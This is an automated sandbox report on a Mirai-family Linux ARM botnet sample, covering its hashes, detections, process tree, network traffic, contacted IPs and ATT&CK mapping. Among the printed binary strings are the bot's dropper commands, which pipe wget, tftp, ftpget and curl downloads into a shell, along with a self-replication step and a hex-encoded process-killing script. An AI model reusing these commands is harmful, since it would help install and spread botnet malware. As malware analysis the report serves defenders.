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Linux Analysis Report
PMcyGpR57k.elf

Overview

General Information

Sample name:	PMcyGpR57k.elf renamed because original name is a hash value
Original sample name:	6461a950a7a169317e1abf6c63c3e779.elf
Analysis ID:	1467573
MD5:	6461a950a7a169317e1abf6c63c3e779
SHA1:	0b98169b880f54c0ff4771a0ec364be82207fb77
SHA256:	9efda914c78bdb93f2573141323791cb0046a8718f4738204374a56623a2d491
Tags:	32armelfmirai
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467573
Start date and time:	2024-07-04 13:03:42 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	PMcyGpR57k.elf renamed because original name is a hash value
Original Sample Name:	6461a950a7a169317e1abf6c63c3e779.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/29@6/0

Runtime Messages

Command:	/tmp/PMcyGpR57k.elf
PID:	5507
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

PMcyGpR57k.elf (PID: 5507, Parent: 5429, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/PMcyGpR57k.elf

PMcyGpR57k.elf New Fork (PID: 5509, Parent: 5507)

PMcyGpR57k.elf New Fork (PID: 5511, Parent: 5509)

PMcyGpR57k.elf New Fork (PID: 5519, Parent: 5509)

PMcyGpR57k.elf New Fork (PID: 5521, Parent: 5509)

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: PMcyGpR57k.elf	ReversingLabs: Detection: 55%
Source: PMcyGpR57k.elf	Virustotal: Detection: 61%			Perma Link

Source: global traffic	DNS traffic detected: malformed DNS query: infectedchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: freethewind.parody. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: w3d0ntlikebot5.parody. [malformed]

Source: unknown	TCP traffic detected without corresponding DNS query: 80.13.56.69
Source: unknown	TCP traffic detected without corresponding DNS query: 187.148.136.232
Source: unknown	TCP traffic detected without corresponding DNS query: 80.13.56.69
Source: unknown	TCP traffic detected without corresponding DNS query: 176.151.121.253
Source: unknown	TCP traffic detected without corresponding DNS query: 187.148.136.232
Source: unknown	TCP traffic detected without corresponding DNS query: 43.181.101.232
Source: unknown	TCP traffic detected without corresponding DNS query: 176.151.121.253
Source: unknown	TCP traffic detected without corresponding DNS query: 164.71.16.146
Source: unknown	TCP traffic detected without corresponding DNS query: 43.181.101.232
Source: unknown	TCP traffic detected without corresponding DNS query: 77.6.99.191
Source: unknown	TCP traffic detected without corresponding DNS query: 164.71.16.146
Source: unknown	TCP traffic detected without corresponding DNS query: 205.157.249.124
Source: unknown	TCP traffic detected without corresponding DNS query: 77.6.99.191
Source: unknown	TCP traffic detected without corresponding DNS query: 205.157.249.124
Source: unknown	TCP traffic detected without corresponding DNS query: 189.236.35.77
Source: unknown	TCP traffic detected without corresponding DNS query: 14.190.83.27
Source: unknown	TCP traffic detected without corresponding DNS query: 189.236.35.77
Source: unknown	TCP traffic detected without corresponding DNS query: 139.255.177.233
Source: unknown	TCP traffic detected without corresponding DNS query: 14.190.83.27
Source: unknown	TCP traffic detected without corresponding DNS query: 30.4.193.132
Source: unknown	TCP traffic detected without corresponding DNS query: 139.255.177.233
Source: unknown	TCP traffic detected without corresponding DNS query: 12.55.197.113
Source: unknown	TCP traffic detected without corresponding DNS query: 30.4.193.132
Source: unknown	TCP traffic detected without corresponding DNS query: 85.90.51.207
Source: unknown	TCP traffic detected without corresponding DNS query: 12.55.197.113
Source: unknown	TCP traffic detected without corresponding DNS query: 133.219.15.65
Source: unknown	TCP traffic detected without corresponding DNS query: 85.90.51.207
Source: unknown	TCP traffic detected without corresponding DNS query: 196.36.119.98
Source: unknown	TCP traffic detected without corresponding DNS query: 133.219.15.65
Source: unknown	TCP traffic detected without corresponding DNS query: 142.36.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 196.36.119.98
Source: unknown	TCP traffic detected without corresponding DNS query: 142.36.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 106.181.172.136
Source: unknown	TCP traffic detected without corresponding DNS query: 106.181.172.136
Source: unknown	TCP traffic detected without corresponding DNS query: 155.41.85.22
Source: unknown	TCP traffic detected without corresponding DNS query: 176.154.144.255
Source: unknown	TCP traffic detected without corresponding DNS query: 155.41.85.22
Source: unknown	TCP traffic detected without corresponding DNS query: 102.41.211.173
Source: unknown	TCP traffic detected without corresponding DNS query: 176.154.144.255
Source: unknown	TCP traffic detected without corresponding DNS query: 15.149.98.41
Source: unknown	TCP traffic detected without corresponding DNS query: 149.6.213.155
Source: unknown	TCP traffic detected without corresponding DNS query: 102.41.211.173
Source: unknown	TCP traffic detected without corresponding DNS query: 98.191.228.160
Source: unknown	TCP traffic detected without corresponding DNS query: 15.149.98.41
Source: unknown	TCP traffic detected without corresponding DNS query: 115.19.180.246
Source: unknown	TCP traffic detected without corresponding DNS query: 149.6.213.155
Source: unknown	TCP traffic detected without corresponding DNS query: 216.202.92.163
Source: unknown	TCP traffic detected without corresponding DNS query: 98.191.228.160
Source: unknown	TCP traffic detected without corresponding DNS query: 139.134.35.152
Source: unknown	TCP traffic detected without corresponding DNS query: 115.19.180.246

Source: global traffic	DNS traffic detected: DNS query: freethewind.parody
Source: global traffic	DNS traffic detected: DNS query: infectedchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: DNS query: freethewind.parody. [malformed]
Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com
Source: global traffic	DNS traffic detected: DNS query: w3d0ntlikebot5.parody. [malformed]

Source: PMcyGpR57k.elf	String found in binary or memory: http:///curl.sh
Source: PMcyGpR57k.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4$i

Source: /tmp/PMcyGpR57k.elf (PID: 5519)	File opened: /proc/5540/maps	Jump to behavior
Source: /tmp/PMcyGpR57k.elf (PID: 5519)	File opened: /proc/5540/cmdline	Jump to behavior
Source: /tmp/PMcyGpR57k.elf (PID: 5519)	File opened: /proc/5541/maps	Jump to behavior
Source: /tmp/PMcyGpR57k.elf (PID: 5519)	File opened: /proc/5541/cmdline	Jump to behavior
Source: /tmp/PMcyGpR57k.elf (PID: 5519)	File opened: /proc/5611/maps	Jump to behavior
Source: /tmp/PMcyGpR57k.elf (PID: 5519)	File opened: /proc/5611/cmdline	Jump to behavior
Source: /tmp/PMcyGpR57k.elf (PID: 5519)	File opened: /proc/5612/maps	Jump to behavior
Source: /tmp/PMcyGpR57k.elf (PID: 5519)	File opened: /proc/5612/cmdline	Jump to behavior
Source: /tmp/PMcyGpR57k.elf (PID: 5519)	File opened: /proc/5536/maps	Jump to behavior
Source: /tmp/PMcyGpR57k.elf (PID: 5519)	File opened: /proc/5536/cmdline	Jump to behavior
Source: /tmp/PMcyGpR57k.elf (PID: 5519)	File opened: /proc/5539/maps	Jump to behavior
Source: /tmp/PMcyGpR57k.elf (PID: 5519)	File opened: /proc/5539/cmdline	Jump to behavior

Source: PMcyGpR57k.elf, 5507.1.00007fff30e76000.00007fff30e97000.rw-.sdmp, PMcyGpR57k.elf, 5511.1.00007fff30e76000.00007fff30e97000.rw-.sdmp	Binary or memory string: px86_64/usr/bin/qemu-arm/tmp/PMcyGpR57k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/PMcyGpR57k.elf
Source: PMcyGpR57k.elf, 5507.1.000055b5295a6000.000055b5296d4000.rw-.sdmp, PMcyGpR57k.elf, 5511.1.000055b5295a6000.000055b5296d4000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: PMcyGpR57k.elf, 5507.1.000055b5295a6000.000055b5296d4000.rw-.sdmp, PMcyGpR57k.elf, 5511.1.000055b5295a6000.000055b5296d4000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: PMcyGpR57k.elf, 5507.1.00007fff30e76000.00007fff30e97000.rw-.sdmp, PMcyGpR57k.elf, 5511.1.00007fff30e76000.00007fff30e97000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Source	Detection	Scanner	Label	Link
PMcyGpR57k.elf	55%	ReversingLabs	Linux.Trojan.Mirai
PMcyGpR57k.elf	62%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http:///curl.sh	0%	Avira URL Cloud	safe
http:///wget.sh	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	PMcyGpR57k.elf	false	Avira URL Cloud: safe	unknown
http:///curl.sh	PMcyGpR57k.elf	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
148.186.236.3	unknown	United States	15304	WASHOE-NETUS	false
3.13.54.15	unknown	United States	16509	AMAZON-02US	false
28.211.135.240	unknown	United States	7922	COMCAST-7922US	false
34.213.62.31	unknown	United States	16509	AMAZON-02US	false
82.8.90.8	unknown	United Kingdom	5089	NTLGB	false
94.139.232.117	unknown	Russian Federation	38972	INTERSAT-ASRU	false
181.226.165.81	unknown	Chile	14117	TelefonicadelSurSACL	false
139.255.177.233	unknown	Indonesia	23700	FASTNET-AS-IDLinknet-FastnetASNID	false
38.210.131.180	unknown	United States	174	COGENT-174US	false
222.202.0.138	unknown	China	24357	CNGI-GZ-IX-AS-APCERNET2IXatSouthChinaUniversityofTec	false
212.85.240.113	unknown	Spain	50563	ONLYCABLE-ASES	false
89.160.18.215	unknown	Sweden	29518	BREDBAND2SE	false
208.16.53.114	unknown	United States	1239	SPRINTLINKUS	false
139.134.35.152	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
164.179.255.132	unknown	United States	37717	EL-KhawarizmiTN	false
182.59.156.93	unknown	India	17813	MTNL-APMahanagarTelephoneNigamLimitedIN	false
54.176.218.198	unknown	United States	16509	AMAZON-02US	false
113.221.175.215	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
85.56.193.234	unknown	Spain	12479	UNI2-ASES	false
145.134.53.145	unknown	Netherlands	1136	KPNKPNNationalEU	false
61.21.245.255	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
76.145.55.119	unknown	United States	7922	COMCAST-7922US	false
44.172.236.199	unknown	United States	20473	AS-CHOOPAUS	false
134.227.218.168	unknown	France	9159	CreditAgricoleFR	false
8.156.168.17	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
78.118.201.245	unknown	France	8228	CEGETEL-ASFR	false
222.108.43.73	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
40.8.223.114	unknown	United States	4249	LILLY-ASUS	false
40.21.248.201	unknown	United States	4249	LILLY-ASUS	false
220.218.74.248	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
11.203.10.16	unknown	United States	3356	LEVEL3US	false
206.132.134.184	unknown	United States	7459	GRANDECOM-AS1US	false
72.117.177.235	unknown	United States	22394	CELLCOUS	false
51.20.127.129	unknown	United States	2686	ATGS-MMD-ASUS	false
76.46.178.107	unknown	United States	18494	CENTURYLINK-LEGACY-EMBARQ-WRBGUS	false
34.225.187.85	unknown	United States	14618	AMAZON-AESUS	false
66.21.148.230	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
114.171.73.6	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
43.110.228.206	unknown	Japan	4249	LILLY-ASUS	false
171.248.122.62	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	UhtzOix2fn.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	oF0U7TguWy.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	CgiHyL88Yf.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	NSWk4vIsis.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	oCzLnKp7Gq.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	SecuriteInfo.com.Linux.Siggen.9999.238.620.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	utY2mbjUuH.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	FIkYSk1fVy.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	QUZevehioz.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	4B77Ifryut.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false	0%, Virustotal, Browse	unknown
infectedchink.pirate. [malformed]	unknown	unknown	true		unknown
freethewind.parody. [malformed]	unknown	unknown	true		unknown
freethewind.parody	unknown	unknown	true		unknown
w3d0ntlikebot5.parody. [malformed]	unknown	unknown	true		unknown

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	EGQr0VDazQ.elf	Get hash	malicious	Unknown	Browse	3.137.227.172
	OCSM1XFiPg.elf	Get hash	malicious	Unknown	Browse	3.156.231.129
	q9WhhN00yY.elf	Get hash	malicious	Unknown	Browse	18.191.162.150
	ck4L513fGM.elf	Get hash	malicious	Unknown	Browse	52.31.225.228
	buPdHWwrzF.elf	Get hash	malicious	Unknown	Browse	3.16.125.213
	Z2X8cP8r7S.elf	Get hash	malicious	Unknown	Browse	13.254.105.142
	ztGOiA742S.elf	Get hash	malicious	Unknown	Browse	18.149.70.159
	vGUfP1M4Q6.elf	Get hash	malicious	Unknown	Browse	54.253.91.158
	addvXQnjp3.elf	Get hash	malicious	Unknown	Browse	18.133.182.21
	er8xK60DM8.elf	Get hash	malicious	Unknown	Browse	99.81.212.187
NTLGB	2HFh2OjMG7.elf	Get hash	malicious	Unknown	Browse	86.29.136.208
	vGUfP1M4Q6.elf	Get hash	malicious	Unknown	Browse	81.109.129.226
	eW8ah5TCen.elf	Get hash	malicious	Unknown	Browse	86.22.211.84
	c3GW14f8Ea.elf	Get hash	malicious	Unknown	Browse	86.20.130.196
	jxnRJIvUKz.elf	Get hash	malicious	Mirai	Browse	92.238.226.73
	mirai.mpsl.elf	Get hash	malicious	Mirai	Browse	185.78.192.232
	mirai.ppc.elf	Get hash	malicious	Mirai	Browse	86.30.27.21
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	82.19.12.172
	mfQABKHhh1.elf	Get hash	malicious	Mirai	Browse	82.5.147.126
	Lu4qSit8YR.elf	Get hash	malicious	Unknown	Browse	81.104.169.163
AMAZON-02US	EGQr0VDazQ.elf	Get hash	malicious	Unknown	Browse	3.137.227.172
	OCSM1XFiPg.elf	Get hash	malicious	Unknown	Browse	3.156.231.129
	q9WhhN00yY.elf	Get hash	malicious	Unknown	Browse	18.191.162.150
	ck4L513fGM.elf	Get hash	malicious	Unknown	Browse	52.31.225.228
	buPdHWwrzF.elf	Get hash	malicious	Unknown	Browse	3.16.125.213
	Z2X8cP8r7S.elf	Get hash	malicious	Unknown	Browse	13.254.105.142
	ztGOiA742S.elf	Get hash	malicious	Unknown	Browse	18.149.70.159
	vGUfP1M4Q6.elf	Get hash	malicious	Unknown	Browse	54.253.91.158
	addvXQnjp3.elf	Get hash	malicious	Unknown	Browse	18.133.182.21
	er8xK60DM8.elf	Get hash	malicious	Unknown	Browse	99.81.212.187
COMCAST-7922US	EGQr0VDazQ.elf	Get hash	malicious	Unknown	Browse	28.84.70.224
	95DVgihS4k.elf	Get hash	malicious	Unknown	Browse	76.151.170.68
	OCSM1XFiPg.elf	Get hash	malicious	Unknown	Browse	50.171.21.38
	q9WhhN00yY.elf	Get hash	malicious	Unknown	Browse	73.169.118.97
	2HFh2OjMG7.elf	Get hash	malicious	Unknown	Browse	25.187.79.36
	ck4L513fGM.elf	Get hash	malicious	Unknown	Browse	30.25.99.4
	buPdHWwrzF.elf	Get hash	malicious	Unknown	Browse	76.29.185.252
	Z2X8cP8r7S.elf	Get hash	malicious	Unknown	Browse	28.164.179.229
	DVh7O0cBNN.elf	Get hash	malicious	Unknown	Browse	25.43.76.161
	ztGOiA742S.elf	Get hash	malicious	Unknown	Browse	73.221.190.170
WASHOE-NETUS	LtUstWWE4Y.elf	Get hash	malicious	Unknown	Browse	148.186.13.209
	2AAH1UYstb.elf	Get hash	malicious	Mirai	Browse	148.186.136.236
	Tw6PiXhrrV.elf	Get hash	malicious	Unknown	Browse	148.186.13.207
	BSKbaZ6Mij.elf	Get hash	malicious	Mirai	Browse	148.186.136.243
	ecJKNzTEUg.elf	Get hash	malicious	Mirai	Browse	148.186.136.251
	nOQTzd9ke3.elf	Get hash	malicious	Mirai	Browse	148.186.13.208
	xi8jEsyQ8z.elf	Get hash	malicious	Mirai	Browse	148.186.136.247
	2WZ5cKrbAa.elf	Get hash	malicious	Mirai	Browse	148.186.224.209
	maCarm.elf	Get hash	malicious	Mirai	Browse	148.186.137.5
	rmnfnqCLAk.elf	Get hash	malicious	Mirai	Browse	148.186.136.201

Process:	/tmp/PMcyGpR57k.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.173788944546086
Encrypted:	false
SSDEEP:	3:FVbQ9FQWUT5FFNFkF/VVp3FQWUT5FFNFiiXvVl/VVdf/FVLADsVHI1v/VVdf/FVf:ZDF0/VWDFfXNl/VjmsVot/VOArB/VH
MD5:	031FA257D529A46AB8B9CF4526389977
SHA1:	5061B752719FCA3ADB1E84F83FF73E0515AD9D38
SHA-256:	83CEF36B29516D8E327DAFDC9B64E2CAE711C070C9B8F5E0E9A4B9899835DB74
SHA-512:	63ED546E0A1793011ACA09FFAD735C001CB6B4457A7B505F81C3AB556555E8698F6F9AFE5C2FC0EBD40CA873403597F93BB00DEBECCA0DED352FDBCD7EEE7C25
Malicious:	false
Reputation:	low
Preview:	8000-18000 r-xp 00000000 fd:00 531606 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531606 /tmp/..20000-22000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.073989444384002
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	PMcyGpR57k.elf
File size:	63'240 bytes
MD5:	6461a950a7a169317e1abf6c63c3e779
SHA1:	0b98169b880f54c0ff4771a0ec364be82207fb77
SHA256:	9efda914c78bdb93f2573141323791cb0046a8718f4738204374a56623a2d491
SHA512:	fbddaa86a3985a277941f2678e873d1dfd747bb00b7cff7abed593c906e2a3028da53a5f56c982a192d4246766493e78a36766c268c161e1da41491a6489ebbe
SSDEEP:	1536:ecjnNvsNGtqCYNFNNkj8/6jpBz6nzxnI8sR:jjnNv+NdSjrz6zxnI
TLSH:	F6531986B891CA67C5D462BBFA5E42CC332123E8D2DF7207DD116F153B8A92F0D6B641
File Content Preview:	.ELF...a..........(.........4...P.......4. ...(.....................................................................Q.td..................................-...L."...R8..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	62800
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xe180	0x0	0x6	AX	16
.fini	PROGBITS	0x16230	0xe230	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x16244	0xe244	0x1144	0x0	0x2	A	4
.ctors	PROGBITS	0x1f38c	0xf38c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f394	0xf394	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1f39c	0xf39c	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1f3a0	0xf3a0	0x16c	0x0	0x3	WA	4
.bss	NOBITS	0x1f50c	0xf50c	0x1198	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf50c	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xf388	0xf388	6.1054	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf38c	0x1f38c	0x1f38c	0x180	0x1318	0.8447	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 4, 2024 13:04:32.846525908 CEST	48717	53	192.168.2.14	51.254.162.59
Jul 4, 2024 13:04:39.855423927 CEST	50242	53	192.168.2.14	64.176.6.48
Jul 4, 2024 13:07:22.396333933 CEST	45516	53	192.168.2.14	95.216.99.249
Jul 4, 2024 13:07:22.422861099 CEST	53	45516	95.216.99.249	192.168.2.14
Jul 4, 2024 13:07:22.613163948 CEST	34531	53	192.168.2.14	1.1.1.1
Jul 4, 2024 13:07:22.613348961 CEST	50180	53	192.168.2.14	1.1.1.1
Jul 4, 2024 13:07:22.620614052 CEST	53	50180	1.1.1.1	192.168.2.14
Jul 4, 2024 13:07:22.624730110 CEST	53	34531	1.1.1.1	192.168.2.14
Jul 4, 2024 13:07:24.430675030 CEST	52198	53	192.168.2.14	217.160.70.42
Jul 4, 2024 13:07:24.458244085 CEST	53	52198	217.160.70.42	192.168.2.14

Start time (UTC):	11:04:30
Start date (UTC):	04/07/2024
Path:	/tmp/PMcyGpR57k.elf
Arguments:	/tmp/PMcyGpR57k.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	11:04:31
Start date (UTC):	04/07/2024
Path:	/tmp/PMcyGpR57k.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report PMcyGpR57k.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.4Erfcu (deleted)

/tmp/qemu-open.50Zb6x (deleted)

/tmp/qemu-open.6px3Zw (deleted)

/tmp/qemu-open.7kApJv (deleted)

/tmp/qemu-open.7nrWdx (deleted)

/tmp/qemu-open.B72vau (deleted)

/tmp/qemu-open.BgDEzu (deleted)

/tmp/qemu-open.C1nYSu (deleted)

/tmp/qemu-open.FTV5qx (deleted)

/tmp/qemu-open.Fb7Psu (deleted)

/tmp/qemu-open.HJRz9v (deleted)

/tmp/qemu-open.IyXrvy (deleted)

/tmp/qemu-open.Mumscx (deleted)

/tmp/qemu-open.PKh8ay (deleted)

/tmp/qemu-open.RdtbQx (deleted)

/tmp/qemu-open.UVmuPv (deleted)

/tmp/qemu-open.WrM3Aw (deleted)

/tmp/qemu-open.XzBlMu (deleted)

/tmp/qemu-open.Zoybmy (deleted)

/tmp/qemu-open.agwBjx (deleted)

/tmp/qemu-open.aySZ3x (deleted)

/tmp/qemu-open.fuAfcu (deleted)

/tmp/qemu-open.gwt9Qw (deleted)

/tmp/qemu-open.hQXraw (deleted)

/tmp/qemu-open.hoP4cv (deleted)

/tmp/qemu-open.lDbGmx (deleted)

/tmp/qemu-open.o7d44w (deleted)

/tmp/qemu-open.rae22u (deleted)

/tmp/qemu-open.rzhcnu (deleted)

Static File Info

General

Static ELF Info

ELF header

Linux Analysis Report
PMcyGpR57k.elf

Start time (UTC):	11:04:32
Start date (UTC):	04/07/2024
Path:	/tmp/PMcyGpR57k.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

